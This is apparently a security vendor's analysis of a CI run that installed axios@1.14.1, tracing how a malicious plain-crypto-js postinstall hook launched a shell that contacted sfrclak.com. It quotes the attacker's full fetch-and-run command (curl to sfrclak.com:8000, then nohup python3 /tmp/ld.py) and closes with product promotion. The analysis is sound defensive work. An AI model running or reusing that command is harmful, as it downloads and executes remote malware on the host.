npm install axios@1.14.1 in a research repository, run 23778294353. Reading the diff showed a patch bump and the install exited normally. The recorded run shows what the install did: it resolved plain-crypto-js@4.2.1, ran that package's setup.js, and a shell under it connected to sfrclak.com.Public reporting documents the incident: the published axios@1.14.1 pulled in a malicious plain-crypto-js dependency whose postinstall hook ran a small payload, then deleted itself and rewrote package.json to a stub (StepSecurity). The run below installed the package on a GitHub Actions runner with Garnet's sensor recording the job; the focus from here is what the run did.
Execution lineage
Run 23778294353
Axios & plain-crypto-js supply chain investigation
The embedded tree shows the install step's shell running npm, which reached registry.npmjs.org. Under it, the resolved dependency's postinstall hook ran sh -c node setup.js, and from setup.js a second shell ran curl and staged a Python script.
What the run did
Execution chains. bash → node (npm) → sh → sh -c node setup.js → node setup.js → sh, where the last shell's command line is curl → sfrclak.com:8000 && python3 /tmp/ld.py. Nothing in the diff or the lockfile names setup.js; the chain exists only because the install resolved plain-crypto-js@4.2.1.
Outbound connections. Three destinations. registry.npmjs.org on the npm process and github.com on a separate node process — the connections an install and the runner need. And sfrclak.com (142.11.206.73, TCP) on the shell running curl under setup.js. Public reporting gives the full command:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.pyThe request body was shaped to look like npm traffic; the recorded chain attributes the connection to the curl under setup.js, not to npm.
What a reviewer or agent would verify
- A patch bump of a direct dependency added a new transitive package with a postinstall hook. Does
axiosneed it? - The install made a connection to
sfrclak.com, a host that is neither the registry nor GitHub, from a shell started by that hook. - Public reporting says
setup.jsremoved itself after running. The chain and the connection are in the profile regardless; a reviewer, or an AI coding agent handed this profile, can ask about them without the file.
Analysis
The interesting property of this record is that the change reviewers could read was a patch bump, while the run shows a dependency's postinstall hook starting a chain that ends in a connection to a new host. Public reporting says the hook cleaned up its files afterwards; the execution chain and the destination are part of the job's profile, not of the files left on disk.
What this record covers. Outbound connections and the execution chains behind them for this install. It does not show file contents, what /tmp/ld.py did after the step, or a recorded run of the previous axios version, and it has no public report link today.
Garnet shows what your CI run actually did — each outbound connection it recorded, attributed to the exact process that made it — so you and your agents can verify code changes against evidence, not assumptions. The live example is a dependency PR on a reference repository, not the run above.